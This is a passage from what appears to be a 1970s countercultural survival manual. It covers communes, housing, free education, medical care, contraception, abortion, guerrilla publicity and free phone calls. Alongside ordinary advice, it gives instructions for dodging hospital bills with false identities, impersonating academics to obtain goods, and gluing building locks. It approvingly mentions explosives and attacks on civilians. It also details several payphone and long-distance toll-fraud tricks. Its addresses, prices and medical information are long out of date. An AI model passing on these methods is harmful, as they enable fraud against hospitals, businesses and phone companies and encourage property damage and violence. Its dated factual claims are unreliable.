missionaries. If they became known as double-crossers, the programs would be finished.
Some hip communities have crash pads set up, but these rarely last more than a few
months. To give out the addresses we have would be quite impractical. We have never run
across a crash pad that lasted more than a month or so. If in a cit, try hustling a room at a
college dorm. This is especially good in summer or on week-ends. If you have a sleeping bag,
the parks are always good, as is "tar jungle" or sleeping on the roofs of tall buildings. Local
folks will give you some good advice on what to watch out for and information on vagrancy
laws which might help you avoid getting busted.
For more permanent needs, squatting is not only free, it's a revolutionary act. If you stay
quiet you can stay indefinitely. If you have community support you may last forever.
COMMUNES
In the city or in the country, communes can be a cheap and enjoyable way of living.
Although urban and rural communes face different physical environments, they share
common group problems. The most important element in communal living is the people, for
the commune will only make it if everyone is fairly compatible. A nucleus of 4 to 7 people is
best and it is necessary that no member feels extremely hostile to any other member when
the commune gets started. The idea that things will work out later is pig swill. More
communes have busted up over incompatibility than any other single factor. People of
similar interests and political philosophies should live together. One speed freak can wreck
almost any group. There are just too many day-to-day hassles involved living in a commune
to not start off compatible in as many ways as possible. The ideal arrangement is for the
people to have known each other before they move in together.
Once you have made the opening moves, evening meetings will occasionally be necessary to
divide up the responsibilities and work out the unique problems of a communal family.
Basically, there are two areas that have to be pretty well agreed upon if the commune is to
survive. People's attitudes toward Politics, Sex, Drugs and Decision-making have to be in
fairly close agreement. Then the even most important decisions about raising the rent,
cleaning, cooking and maintenance will have to be made. Ground rules for inviting
non-members should be worked out before the first time it happens, as this is a common
cause for friction. Another increasingly important issue involves defense. Communes have
continually been targets of attack by the more Neanderthal elements of the surrounding
community. In Minneapolis for example, "headhunts" as they are called are commonplace.
You should have full knowledge of the local gun laws and a collective defense should be
worked out.
Physical attacks are just one way of making war on communes and, hence, our Free Nation.
Laws, cops, and courts are there to protect the power and the property of those that
already got the shit. Police harassment, strict enforcement of health codes and fire
regulations and the specially designed anti-commune laws being passed by town elders,
should all be known and understood by the members of a commune before they even buy
or rent property. On all these matters, you should seek out experienced members of
communes already established in the vicinity you wish to settle. Work out mutual defense
arrangements with nearby families-both legal and extralegal. Remember, not only do you
have the right to self-defense, but it is your duty to our new Nation to erase the
"Easy-Rider-take-any-shit" image which invites attack. Let them know you are willing to
defend your way of living and your chances of survival will increase.
URBAN LIVING
If you're headed for city living, the first thing you'll have to do is locate an apartment or loft,
an increasingly difficult task. At certain times of the year, notably June and September, the
competition is fierce because of students leaving or entering school. If you can avoid these
two months, you'll have a better selection. A knowledge of your plans in advance can aid a
great deal in finding an apartment, for the area can be scouted before you move in. Often,
if you know of people leaving a desirable apartment, you can make arrangements with the
landlord, and a deposit will hold the place. If you let them know you're willing to buy their
furniture, people will be more willing to give you information about when they plan to move.
Watch out for getting screwed on exorbitant furniture swindles by the previous tenants and
excessive demands on the part of the landlords. In most cities, the landlord is not legally
allowed to ask for more than one month's rent as security. Often the monthly rent itself is
regulated by a city agency. A little checking on the local laws and a visit to the housing
agency might prove well worth it.
Don't go to a rental agency unless you are willing to pay an extra month's rent as a fee.
Wanted ads in newspapers and bulletin boards located in community centers and
supermarkets have some leads. Large universities have a service for finding good
apartments for administrators, faculty and students, in that order. Call the university, say
you have just been appointed to such-and-such position and you need housing in the area.
They will want to know all your requirements and rent limitations, but often they have very
good deals available, especially if you've appointed yourself to a high enough position.
Aside from these, the best way is to scout a desired area and inquire about future
apartments. Often landlords or rental agencies have control over a number of buildings in a
given area. You can generally find a nameplate inside the hall of the building. Calling them
directly will let you know of any apartments available.
When you get an apartment, furnishing will be the next step. You can double your sleeping
space by building bunk beds. Nail two by fours securely from ceiling to floor, about three
feet from the walls, where the beds are desired. Then build a frame out of two by fours at a
convenient height. Make sure you use nails or screws strong enough to support the weight
of people sleeping or balling. Nail a sheet of 3/4 inch plywood on the frame. Mattresses and
almost all furniture needed for your pal can be gotten free (see section on Free Furniture).
Silverware can be copped at any self-service restaurant.
RURAL LIVING
If you are considering moving to the country, especially as a group, you are talking about
farms and farmland. There are some farms for rent, and occasionally a family that has to
be away for a year or two will let you live on their farm if you keep the place in repair. These
can be found advertised in the back of various farming magazines and in the classified
sections of newspapers, especially the Sunday editions. Generally speaking, however, if
you're interested in a farm, you should be considering an outright purchase.
First, you have to determine in what part of the country you want to live in terms of the
climate you prefer and how far away from the major cities you wish to locate. The least
populated states, such as Utah, Idaho, the Dakotas, Montana and the like, have the
cheapest prices and the lowest tax rates. The more populated a state, and in turn, the
closer to a city, the higher the commercial value of the land.
There are hundreds of different types of farms, so the next set of questions you'll have to
raise concerns the type of farm activity you'll want to engage in. Cattle farms are different
than vegetable farms or orchards. Farms come in sizes: from half an acre to ranches larger
than the state of Connecticut. They will run in price from $30 to $3000 an acre, with the
most expensive being prime farmland in fertile river valleys located close to an urban area.
The further away from the city and the further up a hill, the cheaper the land gets. It also
gets woodier, rockier and steeper, which means less tillable land.
If you are talking of living in a farm house and maybe having a small garden and some
livestock for your own use, with perhaps a pond on the property, you are looking for what is
called a recreational farm. When you buy a recreational farm, naturally you are interested
in the house, barn, well, fences, chicken-coop, corrals, woodsheds and other physical
structures on the property. Unless these are in unusually good condition or unique, they do
not enter into the sale price as major factors. It is the land itself that is bought and sold.
Farmland is measured in acreage; an acre being slightly more than 43,560 square feet. The
total area is measured in 40-acre plots. Thus, if a farmer or a real estate agent says he has
a plot of land down the road, he means a 40-acre farm. Farms are generally measured this
way, with an average recreational farm being 160 acres in size or an area covering about
1/2 square mile. A reasonable rate for recreational farmland 100 miles from a major city
with good water and a livable house would be about $50 per acre. For a 160-acre farm, it
would be $8,000, which is not an awful lot considering what you are getting. For an overall
view, get the free catalogues and brochures provided by the United Farm Agency, 612 W.
47th St., Kansas City, Mo. 64112.
Now that you have a rough idea of where and what type of farm you want, you can begin to
get more specific. Check out the classified section in the Sunday newspaper of the largest
city near your desired location. Get the phone book and call or write to real estate
agencies in the vicinity. Unlike the city, where there is a sellers' market, rural estate agents
collect their fee from the seller of the property, so you won't have to worry about the
agent's fee.
When you have narrowed down the choices, the next thing you'll want to look at is the plot
book for the county. The plot book has all the farms in each township mapped out. lt also
shows terrain variations, type of housing on the land, location of rivers, roads and a host of
other pertinent information. Road accessibility, especially in the winter, is an important
factor. If the farms bordering the one you have selected are abandoned or not in full use,
then for all intents and purposes, you have more land than you are buying.
After doing all this, you are prepared to go look at the farm itself. Notice the condition of
the auxiliary roads leading to the house. You'll want an idea of what sections of the land are
tillable. Make note of how many boulders you'll have to clear to do some planting. Also note
how many trees there are and to what extent the brush has to be cut down. Be sure and
have a good idea of the insect problems you can expect. Mosquitoes or flies can bug the
shit out of you. Feel the soil where you plan to have a garden and see how rich it is. If there
are fruit trees, check their condition. Taste the water. Find out if hunters or tourists come
through the land. Examine the house. The most important things are the basement and the
roof. In the basement examine the beams for dry rot and termites. See how long it will be
before the roof must be replaced. Next check the heating system, the electrical wiring and
the plumbing. Then you'll want to know about services such as schools, snow plowing,
telephones, fire department and finally about your neighbors. If the house is beyond repair,
you might still want the farm, especially if you are good at carpentry. Cabins, A-Frames,
domes and tepees are all cheaply constructed with little experience. Get the materials
from your nearest military installation.
Finally, check out the secondary structures on the land to see how usable they are. If there
is a pond, you'll want to see how deep it is for swimming. If there are streams, you'll want to
know about the fishing possibilities; and if large wooded areas, the hunting.
In negotiating the final sales agreement, you should employ a lawyer. You'll also want to
check out the possibility of negotiating a bank loan for the farm. Don't forget that you have
to pay taxes on the land, so inquire from the previous owner or agent as to the tax bill.
Usually, you can count on paying about $50 annually per 40-acre plot.
Finally, check out the federal programs available in the area. If you can learn the ins and
outs of the government programs, you can rip off plenty. The Feed-Grain Program of the
Department of Agriculture pays you not to grow grain. The Cotton Subsidy Program pays
you not to grow cotton. Also look into the Soil Bank Program of the United States
Development Association and various Department of Forestry programs which pay you to
plant trees. Between not planting cotton and planting trees, you should be able to manage.
LIST OF COMMUNES
The most complete list of city and country communes is available for $1.00 from
Alternatives Foundation, Modern Utopian, 1526 Gravensteur Highway North, Sebastopol,
California 95427. The phone is (707) 823-6168. The list is kept up to date. For all
communes, you must write in advance if you plan to visit. Almost every commune will give
you information about the local conditions and the problems they face if you write them a
letter. Here is a list of some you might like to write to for more information. Avoid
becoming a free-loader on your sisters and brothers.
California
ALTERNATIVES FOUNDATION-Box 1264, Berkeley, California 94709. (Dick
Fairfield) Communal living, total sexuality, peak experience training centers.
Dedicated to the cybernated-tribal society.
BHODAN CENTER OF INQUIRY-Sierra Route, Oakhurst, California 93644. Phone
(209) 683-4976.. (Charles Davis) Seminars on Human Community, IC
development on the land, founded 1934, 13 members. Trial period for new
members. Visitors check in advance.
Colorado
DROP CITY-Rt. 1, Box 125, Trinidad, Colorado 81082. Founded 1965. New
members must meet specific criteria. Anarchist, artist, dome houses.
New Mexico
LAMA FOUNDATION-Box 444, San Cristobal, N.M.
New York
CITY ISLAND COMMUNE-284 City Island Avenue, Bronx, NY. Visitors check in
advance. Revolutionary.
ATLANTIS I-RFD 5, Box 22A, Saugerties, NY 12477. Visitors and new members
welcome.
Oregon
FAMILY OF MYSTIC ARTS--Box 546, Sunny Valley, Oregon
Pennsylvania
TANGUY HOMESTEADS-West Chester, Pennsylvania. Suburban, non-sectarian,
co-op housing and community fellowship.
Washington
MAGIC MOUNTAIN-52nd and 19th Streets, Seattle, Washington. (c/o Miriam
Roder).
FREE EDUCATION
Usually when you ask somebody in college why they are there, they'll tell you it's to get an
education. The truth of it is, they are there to get the degree so that they can get ahead in
the rat race. Too many college radicals are two-timing punks. The only reason you should be
in college is to destroy it. If there is stuff that you want to learn though, there is a way to
get a college education absolutely free. Simply send away for the schedule of courses at
the college of your choice. Make up the schedule you want and audit the classes. In smaller
classes this might be a problem, but even then, if, the teacher is worth anything at all, he'll
let you stay. In large classes, no one will ever object.
If you need books for a course, write to the publisher claiming you are a lecturer at some
school and considering using their book in your course. They will always send you free books.
There are Free Universities springing up all over our new Nation. Anybody can teach any
course. People sign up for the courses and sometimes pay a token registration fee. This
money is used to publish a catalogue and pay the rent. If you're on welfare you don't have
to pay. You can take as many or as few courses as you want. Classes are held everywhere: in
the instructor's house, in the park, on the beach, at one of the student's houses or in
liberated buildings. Free Universities offer courses ranging from Astrology to the Use of
Firearms. The teaching is usually of excellent quality and you'll learn in a community-type
atmosphere.
LIST OF FREE UNIVERSITIES
Alternative University-69 W. 14th St., New York, NY 10011 (catalogue on request)
Baltimore Free U-c/o Harry, 233 E. 25th St., Baltimore, Maryland 21218
Berkeley Free U-1703 Grove St., Berkeley, California 94709
Bowling Green Free U-c/o Student Council, University of Bowling Green, Bowling Green
Ohio 43402
Colorado State Free U-Box 12-Fraisen, Colorado State College, Greeley, Colorado
80631
Detroit Area Free U-Student Union, 4001 W. McNichols Rd., Detroit, Michigan 48221
Detroit Area Free U-343 University Center, Wayne State University, Detroit, Mich.
Georgetown Free U-Loyola Bldg., 28, Georgetown University Washington D.C. 20007
Golden Gate Free U-2120 Market St., Rm. 206, San Francisco, California 94114
Heliotrope-2201 Filbert, San Francisco, California 94118
Illinois Free U-298A Illini Union, University of Illinois, Champaign, Illinois 61820
Kansas Free U-107 W. 7th St., Lawrence, Kansas 66044
Knox College Free U-Galesbury, Illinois 60401
Madison Free U-c/o P. Carroll, 1205 Shorewood Blvd., Madison, Wisconsin 53705
Metropolitan State Free U-Associated Students, 1345 Banrock St., Denver, Colorado
80204
Michigan State Free U-Associated Students, Student Service Bldg., Michigan State
College, East Lansing, Michigan 48823
Mid-Peninsula Free U-1060 El Camino Real, Menlo Park, California 94015
Minnesota Free U-1817 S. 3rd St., Minneapolis, Minnesota 55404
Monterey Peninsula Free U-2120 Etna Place, Monterey, California New Free U-Box
ALL 303, Santa Barbara, California 93107
Northwest Free U-Box 1255, Bellingham, Washington 98225
Ohio-Wesleyan Free U-Box 47-Welsh Hall, Ohio Wesleyan University, Delevan, Ohio
43015
Pittsburgh Free U-4401 Fifth Ave., Pittsburgh, Pennsylvania 15213 Rutgers Free
U-Rutgers College, Student Center, 1 Lincoln Ave., Newark, NJ 07102
St. Louis Free U-c/o Student Congress, 3rd floor BMC, St. Louis University, St. Louis,
Missouri 63103
San Luis Obispo Free U-Box 1305, San Luis Obispo, California 94301
Santa Cruz Free U-604 River St., Santa Cruz, California 95060
Seattle Free U-4144½ University Way NE, Seattle, Washington 98105
Southern Illinois Free U-Carbondale, Illinois 62901
Valley Free U-2045 N. Wishon Ave., Fresno, California 93704
Washington Area Free U-5519 Prospect Place, Chevy Chase, Maryland 20015 and
1854 Park Rd. NW, Washington, D.C. 20010
Wayne-Locke Free U-Student Congress, University of Texas, Arlington, Texas 76010
And a complete list of experimental schools, free universities, free schools, can be obtained
by sending one dollar to ALTERNATIVES! 1526 Gravenstein Highway N., Sebastopol,
California 97452, and requesting the Directory of Free Schools.
7. FREE MEDICAL CARE
Due to the efforts of the Medical Committee for Human Rights, the Student Health
Organization and other progressive elements among younger doctors and nurses. Free
People's Clinics have been happening in every major city. They usually operate out of store
fronts and are staffed with volunteer help. An average clinic can handle fifty patients a day.
If you've had an accident or have an acute illness, even a bad cold, check into the
emergency room of any hospital. Given them a sob story complete with phony name and
address. After treatment they present you with a slip and direct you to the cashier. Just
walk on by, as the song suggests. A good decoy is to ask for the washroom. After waiting
there a few moments, split. If you're caught sneaking out, tell them you ran out of the house
without your wallet. Ask them to bill you at your phony address. This billing procedure works
in both hospital emergency rooms and clinics. You can keep going back for repeated visits
up to three months before the cashier's office tells the doctor about your fractured
payments.
You can get speedy medical advice and avoid emergency room delays by calling the
hospital, asking for the emergency unit and speaking directly to the doctor over the phone.
Older doctors frown on this procedure since they cannot extort their usual exorbitant fee
over the phone. Younger ones generally do not share this hang-up.
Cities usually have free clinics for a variety of special ailments. Tuberculosis Clinics,
Venereal Disease Clinics, and Free Shot Clinics (yellow fever, polio, tetanus, etc.) are some
of the more common. A directory of these clinics and other free health services the local
community provides can be obtained by writing your Chamber of Commerce or local
Health Department.
Most universities have clinics connected with their dental, optometry or other specialized
medical schools. If not for free, then certainly for very low rates, you can get dental work
repaired, eyeglasses fitted and treatment of other specific health needs.
Free psychiatric treatment can often be gotten at the out-patient department of any
mental hospital. Admission into these hospitals is free, but a real bummer. Use them as a
last resort only. Some cities have a suicide prevention center and if you are desperate and
need help, call them. Your best choice in a psychiatric emergency is to go to a large
general hospital, find the emergency unit and ask to see the psychiatrist on duty.
BIRTH CONTROL CLINICS
Planned Parenthood and the Family Planning Association staff numerous free birth control
clinics throughout the country. They provide such services as sex education, examinations,
Pap smear and birth control information and devices. The devices include pills, a
diaphragm, or IUD (intra-uterine device) which they will insert. If you are unmarried and
under 18, you might have to talk to a social worker, but it's no sweat because anybody gets
contraceptive devices that wants them. Call up and ask them to send you their booklets on
the different methods of birth control available.
If you would rather go to a private doctor, try to find out from a friend the name of a hip
gynecologist, who is sympathetic to the fact that you're low on bread. Otherwise one visit
could cost $25.00 or more.
Before deciding on a contraceptive, you should be hip to some general information. There
has been much research on the pill, and during the past 10 years it has proven its
effectiveness, if not is safety. The two most famous name brands are Ortho-Novum and
Envoid. They all require a doctor's prescription. Different type pills are accompanied by
slightly different instructions, so read the directions carefully. In many women, the pills
produce side effects such as weight increase, dizziness or nausea. Sometimes the pill
affects your vision and more often your mood. Some women with specialized blood diseases
are advised not to use them, but in general, women have little or no trouble. Different
brand names have different hormonal balances (progesterone-estrogen). If you get
uncomfortable side effects, insist that your doctor switch your brand. If you stop the pill
method for any reason and don't want to get pregnant, be very careful to use another
means right away.
Another contraceptive device becoming more popular is the IUD, or the loop. It is a small
plastic or stainless steel irregularly-shaped spring that the doctor inserts inside the
opening of the uterus. The insertion is not without pain, but it's safe if done by a physician,
and it's second only to the pill in prevention of pregnancy. Once it's in place, you can forget
about it for a few years or until you wish to get pregnant. Doctors are reluctant to
prescribe them for women who have not borne children or had an abortion, because of the
intense pain that accompanies insertion. But if you can stand the pain associated with
three to four uterine contractions, you should push the doctor for this method. Inserting it
during the last day of your period will make it easier.
The diaphragm is a round piece of flexible rubber about 2 inches in diameter with a hard
rubber rim on the outside. It used to be inserted just before the sex act, but hip doctors
now recommend that it be worn continuously and taken out every few days for washing and
also during the menstrual period. It is most effective when used with a sperm-killing jelly or
cream. A doctor will fit you for a proper size diaphragm.
The next best method is the foams that you insert twenty minutes before fucking. The best
foams available are Delfen and Emko. They have the advantage of being nonprescription
items so you can rush into any drug store and pick up a dispenser when the spirit moves
you. Follow the directions carefully. Unfortunately, these foams taste terrible and are not
available in flavors. It just shows you how far science has to go.
Another device is the prophylactic, or rubber as it is called. This is the only device available
to men. It is a thin rubber sheath that fits over the penis. Because they are subject to
breaking and sliding off, their effectiveness is not super great. If you are forced to use
them, the best available are lubricated sheepskins with a reservoir tip.
The rhythm method or Vatican roulette as it is called by hip Catholics, is a waste unless
you are ready to surround yourself with thermometers, graphs and charts. You also have to
limit your fucking to prescribed days. Even with all these precautions, women have often
gotten pregnant using the rhythm method.
The oldest and least effective method is simply for the male to pull out just before he
comes. There are billions of sperm cells in each ejaculation and only one is needed to
fertilize the woman's egg and cause a pregnancy. Most of the sperm is in the first squirt,
so you had better be quick if you employ this technique.
If the woman misses her period she shouldn't panic. It might be delayed because of
emotional reasons. Just wait two weeks before going to a doctor or clinic for a pregnancy
test. When you go, be sure to bring your first morning urine specimen.
ABORTIONS
The best way to find out about abortions is to contact your local woman's liberation
organization through your underground newspaper or radio station. Some Family Planning
Clinics and even some liberal churches set up abortions, but these might run as high as
$700. Underground newspapers often have ads that read "Any girl in trouble call - -," or
something similar. The usual rate for an abortion is about $500 and it's awful hard to
bargain when you need one badly. Only go to a physician who is practicing or might have
just lost his license. Forget the stereotype image of these doctors as they are performing a
vital service. Friends who have had an abortion can usually recommend a good doctor and
fill you in on what's going to happen.
Abortions are very minor operations if done correctly. They can be done almost any time,
but after three months, it's no longer so casual and more surgical skill is required. Start
making plans as soon as you find out. The sooner the better, in terms of the operation.
Get a pregnancy test at a clinic. If it is positive and you want an abortion, start that day to
make plans. If you get negative results from the test and still miss your period, have a
gynecologist perform an examination if you are still worried.
If you cannot arrange an abortion through woman's liberation, Family Planning, a
sympathetic clergyman or a friend who has had one, search out a liberal hospital and talk
to one of their social workers. Almost all hospitals perform "therapeutic" abortions. Tell a
sob story about the desertion of your boy friend or that you take LSD every day or that
defects run in your family. Act mentally disturbed. If you qualify, you can get an abortion
that will be free under Medicaid or other welfare medical plans. The safest form of abortion
is the vacuum-curettage method, but not all doctors are hip to it. It is safer and quicker
with less chance of complications than the old-fashioned scrape method.
Many states have recently passed liberalized abortion laws, such as New York* (by far the
most extensive), Hawaii and Maryland, due to the continuing pressure of radical women.
The battle for abortion and certainly for free abortion is far from over even in the states
with liberal laws. They are far too expensive for the ten to twenty minute minor operation
involved and the red tape is horrendous. Free abortions must be look-on as a fundamental
right, not a sneaky, messy trauma.
*There is a residence requirement for New York but using a friend's New York address at
the hospital will be good enough. The procedure takes only a few days and costs between
$200 and $500, depending on the place. The best advice is to call one of the New York
Abortion Referral Services or Birth Control Groups listed in the New York Directory section.
DISEASES TREATED FREE
Syph and Clap (syphilis and gonorrhea) are two diseases that they are easy to pick up. They
come from balling. Anyone who claims they got it from sitting on a toilet seat must have a
fondness for weird positions.
Both men and women are subject to the diseases. Using a prophylactic usually will prevent
the spreading of venereal disease, but you should really seek to have it cured. Syphilis
usually begins with an infection which may look like a cold sore or pimple around the sex
organ. There is no pain associated with the lesions. Soon the sore disappears even without
treatment. This is often followed by a period of rashes on the body (especially the palms of
the hands) and inflammation of the mouth and throat. These symptoms also disappear
without treatment. It must be understood, however, that even if these symptoms
disappear, the disease still remains if left untreated. It can cause serious trouble such as
heart disease, blindness, insanity and paralysis. Also, it can fuck up any kids you might
produce and is easily passed on to anyone you ball.
Gonorrhea (clap) is more common than syphilis. Its first signs are a discharge from your
sex organ that is painful. Like syphilis, it affects both men and women, but is often
unnoticed in women. There is usually itching and burning associated with the affected area.
It can leave you sterile if left untreated.
Both these venereal diseases can be treated in a short time with attention. Avail yourself of
the free V.D. clinics in every town. Follow the doctor's instructions to the letter and try to
let the other people you've had sexual contact with know you had VD.
There are other fungus diseases that resemble syphilis or gonorrhea, but are relatively
harmless. Check out every infection in your crotch area, especially those with open sores or
an unusual discharge and you'll be safe.
Crabs are not harmful, but they can make you scratch your crotch for hours on end. They
are also highly transmittable by balling. Actually they are a form of body lice and easy to
cure. Go to your local druggist and ask him for the best remedy available. He'll give you one
of several lotions and instructions for proper use. We recommend Kwell.
A common disease in the hip community is hepatitis. There are two kinds. One you get from
sticking dirty needles in your arm (serum hepatitis) and the other more common strain
from eating infected food or having intimate contact with an infected carrier (infectious
hepatitis). The symptoms for both are identical; yellowish skin and eyes, dark piss and light
crap, loss of appetite and total listlessness. Hep is a very dangerous disease that can
cause a number of permanent conditions, including death, which is extremely permanent. It
should be treated by a doctor, often in a hospital.
FREE COMMUNICATION
If you don't like the news, why not go out and make your own? Creating free media depends
to a large extent on your imagination and ability to follow through on ideas. The average
Amerikan is exposed to over 1,600 commercials each day. Billboards, glossy ads and
television spots make up much of the word environment they live in. To crack through the
word mush means creating new forms of free communication. Advertisements for
revolution are important in helping to educate and mold the milieu of people you wish to
win over.
Guerrilla theater events are always good news items and if done right, people will
remember them forever. Throwing out money at the Stock Exchange or dumping soot on
executives at Con Edison or blowing up the policeman statue in Chicago immediately
conveys an easily understood message by using the technique of creative disruption.
Recently to dramatize the illegal invasion of Cambodia, 400 Yippies stormed across the
Canadian border in an invasion of the United States. They threw paint on store windows and
physically attacked residents of Blair, Washington. A group of Vietnam veterans marched in
battle gear from Trenton to Valley Forge. Along the way they performed mock attacks on
civilians the way they were trained to do in Southeast Asia.
Dying all the outdoor fountains red and then sending a message to the newspaper
explaining why you did it, dramatizes the idea that blood is being shed needlessly in
imperialist wars. A special metallic bonding glue available from Eastman-Kodak will form a
permanent bond in only 45 seconds. Gluing up locks of all the office buildings in your town is
a great way to dramatize the fact that our brothers and sisters are being jailed all the
time. Then, of course, there are always explosives which dramatically make your point and
then some.
PRESS CONFERENCES
Another way of using the news to advertise the revolution and make propaganda is to call a
press, conference. Get an appropriate place that has some relationship to the content of
your message. Send out announcements to as many members of the press as you can. If
you do not have a press list, you can make one up by looking through the Yellow Pages
under Newspapers, Radio Stations, Television Stations, Magazines and Wire Services. Check
out your list with other groups and pick up names of reporters who attend movement press
conferences. Address a special invitation to them as well as one to their newspaper.
Address the announcements to "City Desk" or "'News Department." Schedule the press
conference for about 11:00 A.M. as this allows the reporters to file the story in time for the
evening newscast or papers. On the day of the scheduled conference, call the important
city desks or reporters about 9:00 A.M. and remind them to come.
Everything about a successful press conference must be dramatic, from the
announcements and phone calls to the statements themselves. Nothing creates a worse
image than four or five men in business suits sitting behind a table and talking in a calm
manner at a fashionable hotel. Constantly seek to have every detail of the press conference
differ in style as well as content from the conferences of people in power. Make use of
music and visual effects. Don't stiffen up before the press. Make the statement as short
and to the point as possible. Don't read from notes, look directly into the camera. The
usual television spot is one minute and twenty seconds. The cameras start buzzing on your
opening statement and often run out of film before you finish. So make it brief and action
packed. The question period should be even more dramatic. Use the questioner's first
name when answering a question. This adds an air of informality and networks are more apt
to use an answer directed personally to one of their newsmen. Express your emotional
feelings. Be funny, get angry, be sad or ecstatic. If you cannot convey that you are deeply
excited or troubled or outraged about what you are saying, how do you expect it of others
who are watching a little image box in their living room? Remember, you are advertising a
new way of life to people. Watch TV commercials. See how they are able to convey
everything they need to be effective in such a short time and limited space. At the same
tune you're mocking the shit they are pushing, steal their techniques.
At rock concerts, during intermission or at the end of the performance, fight your way to
the stage.
COMMUNICATION
Announce that if the electricity is cut off the walls will be torn down. This galvanizes the
audience and makes the owners of the hall the villains if they fuck around. Lay out a short
exciting rap on what's coming down. Focus on a call around one action. Sometimes it might
be good to engage rock groups in dialogues about their commitment to the revolution.
Interrupting the concert is frowned upon since it is only spitting in the faces of the people
you are trying to reach. Use the Culture as ocean to swim in. Treat it with care.
Sandwich boards and hand-carried signs are effective advertisements. You can stand on a
busy corner and hold up a sign saying "Apartment Needed," "Free Angela," "Smash the
State" or other slogans. They can be written on dollar bills, envelopes that are being mailed
and other items that are passed from person to person.
Take a flashlight with a large face to movie theaters and other dark public gathering places.
Cut the word "STRIKE" or "REVOLT" or "YIPPIE" out of dark cellophane. Paste the stencil
over the flashlight, thus allowing you to project the word on a distant wall.
There are a number of all night call-in shows that have a huge audience. If you call with what
the moderator considers "exciting controversy," he may give you a special number so you
won't have to compete in the switchboard roller-derby. It often can take hours before you
get through to these shows. Here's a trick that will help you out if the switchboard is
jammed. The call-in shows have a series of hones so that when one is busy the next will take
the call. Usually the numbers run in sequence. Say a station gives out PL 5-8640, as the
number to call. That means it also uses PL 5-8641, PL 5-8642 and so on. If you get a busy
signal, hang up and try calling PL S-8647 say. This trick works in a variety of situations
where you want to get a call through a busy switchboard. Remember it for airline and bus
information.
WALL PAINTING
One of the best forms of free communication is painting messages on a blank wall. The
message must be short and bold. You want to be able to paint it on before the pigs come
and yet have it large enough so that people can see it at a distance. Cans of spray paint
that you can pick up at any hardware store work best. Pick spots that have lot of traffic.
Exclamation points are good for emphasis. If you are writing the same message, make a
stencil. You can make a stencil that says WAR and spray it on with white paint under the
word "STOP" on stop signs. You can stencil a five-pointed star and using yellow paint, spray
it on the dividing line between the red and blue on all post office boxes. This simulates the
flag of the National Liberation Front of Vietnam. You can stencil a marijuana leaf and using
green paint, spray it over cigarette and whisky billboards on buses and subways. The
women's liberation sign with red paint is good for sexist ads. Sometimes you will wish to
exhibit great daring in your choice of locations. When the Vietnamese hero Nguyen Van Troi
was executed, the Viet Cong put up a poster the next day on the exact spot inside the
highest security prison in the country.
Wall postering allows you to get more information before the public than a quickly
scribbled slogan. Make sure the surface is smooth or finely porous. Smear the back of the
poster with condensed milk, spread on with a brush, sponge, rag or your hands. Condensed
milk dries very fast and hard. Also smear some on the front once the poster is up to give
protection against the weather and busy fingers that like to pull at corners. Wallpaper
pastes also work quickly and efficiently. It's best to work both painting and postering at
night with a look-out. This way you can work the best spots without being harassed by the
pig patrol, which is usually unappreciative of Great Art.
USE OF THE FLAG
The generally agreed upon flag of our nation is black with a red, five pointed star behind a
green marijuana leaf in the center. It is used by groups that understand the correct use of
culture and symbolism in a revolutionary struggle. When displayed, it immediately
increases the feelings of solidarity between our brothers and sisters. High school kids have
had great fights over which flag to salute in school. A sign of any liberated zone is the flag
being flown. Rock concerts and festivals have their generally apolitical character instantly
changed when the flag is displayed. The political theoreticians who do not recognize the flag
and the importance of the culture it represents are ostriches who are ignorant of basic
human nature. Throughout history people have fought for religion, life-style, land, a flag
(nation), because they were ordered to, for fortune, because they were attacked or for the
hell of it. If you don't think the flag is important, ask the hardhats.
RADIO
Want to construct your own neighborhood radio station? You can get a carrier-current
transmitter designed by a group of brothers and sisters called Radio Free People. No FCC
license is required for the range is less than 1/2 mile. The small transistorized units plug
into any wall outlet. Write Radio Free People, 133 Mercer St., New York, New York 10012
for more details. For further information see the chapter on Guerrilla Broadcasting later in
the book.
FREE TELEPHONES
Ripping off the phone company is so common that Bell Telephone has a special security
division that tries to stay just a little ahead of the average free-loader. Many great devices
like the coat hanger release switch have been scrapped because of changes in the phone
box. Even the credit card fake-out is doomed to oblivion as the company switches to more
computerized techniques. ln our opinion, as long as there is a phone company, and as long
as there are outlaws, nobody need ever pay for a call. In 1969 alone the phone company
estimated that over 10 million dollars worth of free calls were placed from New York City.
Nothing, however, compares with the rip-off of the people by the phone company. In that
same year, American Telephone and Telegraph made a profit of 8.6 billion dollars! AT&T,
like all public utilities, passes itself off as a service owned by the people, while in actuality
nothing could be further from the truth. Only a small percentage of the public owns stock in
these companies and a tiny elite clique makes all the policy decisions. Ripping-off the
phone company is an act of revolutionary love, so help spread the word.
PAY PHONES
You can make a local 10 cent call for 2 cents by spitting on the pennies and dropping them
in the nickel slot. As soon as they are about to hit the trigger mechanism, bang the
coin-return button. Another way is to spin the pennies counter-clockwise into the nickel
slot. Hold the penny in the slot with your finger and snap it spinning with a key or other flat
object. Both systems take a certain knack, but once you've perfected the technique, you'll
always have it in your survival kit.
If two cents is too much, how about a call for 1 penny? Cut a 1/4 strip off the telephone
book cover. Insert the cardboard strip into the dime slot as far as it will go. Drop a penny in
the nickel slot until it catches in the mechanism (spinning will help). Then slowly pull the
strip out until you hear the dial tone.
A number 14 brass washer with a small piece of scotch tape over one side of the hole will
not only get a free call, but works in about any vending machine that takes dimes. You can
get a box of thousands for about a dollar at any hardware store. You should always have a
box around for phones, laundromats, parking meters and drink machines.
Bend a bobby pin after removing the plastic from the tips and jab it down into the
transmitter (mouthpiece). When it presses against the metal diaphragm, rub it on a metal
wall or pipe to ground it. When you've made contact you'll hear the dial tone. If the phone
uses old-fashioned rubber black tubing to enclose the wires running from the headset to
the box, you can insert a metal tack through the tubing, wiggle it around a little until it
makes contact with the bare wires and touch the tack to a nearby metal object for
grounding.
Put a dime in the phone, dial the operator and tell her you have ten cents credit. She'll
return your dime and get your call for free. If she asks why, say you made a call on another
pay phone, lost the money, and the operator told you to switch phones and call the credit
operator.
This same method works for long distance calls. Call the operator and find out the rate for
your call. Hang up and call another operator telling her you just dialed San Francisco
direct, got a wrong number and lost $.95 or whatever it is. She will get your call free of
charge.
If there are two pay phones next to each other, you can call long distance on one and put
the coins in the other. When the operator cuts in and asks you to deposit money, drop the
coins into the one you are not using, but hold the receiver up to the slots so the operator
can hear the bells ring. When you've finished, you can simply press the return button on the
phone with the coins in it and out they come. If you have a good tape recorder you can
record the sounds of a quarter, dime and nickel going into a pay phone and play them for
the operator in various combinations when she asks for the money. Turn the volume up as
loud as you can get it.
You can make a long distance call and charge it to a phone number. Simply tell the
operator you want to bill the call to your home phone because you don't have the correct
change. Tell her there is no one there now to verify the call, but you will be home in an hour
